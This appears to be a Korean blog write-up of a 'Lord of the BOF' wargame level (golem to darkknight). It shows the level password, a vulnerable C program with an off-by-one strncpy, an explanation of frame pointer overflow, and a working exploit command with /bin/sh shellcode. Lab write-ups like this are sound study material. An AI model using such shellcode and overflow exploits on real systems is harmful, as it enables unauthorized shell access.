SH1R0_HACKER
12. golem -> darkknight 본문
id : golem
password : cup of coffee
[ darkkinght.c ]
/*
The Lord of the BOF : The Fellowship of the BOF
- darkknight
- FPO
*/
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
코드를 분석해봅시다.
인자의 개수가 2개 미만이면 "argv error" 를 출력하고 종료합니다.
첫번째 인자(argv[1])을 problem_child 함수의 매개변수로 전달합니다.
40byte 크기의 buffer을 생성하고
문자열 복사함수 strncpy를 이용하여 src에 있는 문자열을 buffer로 41만큼 복사합니다.
이때 스택 구조는 위와 같다고 볼 수 있습니다.
darkknight 문제 초반에 주석으로 FPO라는 것을 제시해주었습니다.
FPO는 Frame Pointer Overflow에 대한 약자로
우리가 이때까지 RET의 주소를 쉘코드로 변경하여 공격하는 방법을 써먹었지만
이 문제에서는 SFP를 변경시켜 Instruction Pointer (IP)를 변경할 수 있습니다.
이 공격은 1byte만으로 공격이 가능합니다.
FPO 공격을 하기 위해서는 다음 두 조건을 만족해야 합니다.
1. main() 외에 서브 함수가 1개 이상 존재해야한다.
2. 서브함수에서 SFP의 하위 1byte가 오버플로우가 가능해야한다.
자세한 내용은 아래의 블로그를 참고해주세요.
hackstoryadmin.tistory.com/entry/FPO-Frame-Pointer-Overflow
빨간색으로된 부분이 buffer의 시작주소입니다.
초록색으로 된 부분은 SFP로 1byte만큼 a(0x41)가 들어간걸 볼 수 있습니다.
최종적으로 페이로드를 작성하면 다음과 같습니다.
25byte의 쉘코드 + 15byte의 NOP코드 + "\xa8"
./darkknight2 `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*15+"\xa8"'`
공격에 성공했습니다.
이제 원본파일 darkknight에 똑같이 페이로드를 날려줍니다.
'System > The Lord of BOF' 카테고리의 다른 글
14. bugbear -> giant (작성중) (0) | 2021.02.03 |
---|---|
13. darkknight -> bugbear (0) | 2021.02.03 |
11. skeleton -> golem (0) | 2020.10.29 |
10. vampire -> skeleton (0) | 2020.10.28 |
9. troll -> vampire (0) | 2020.10.27 |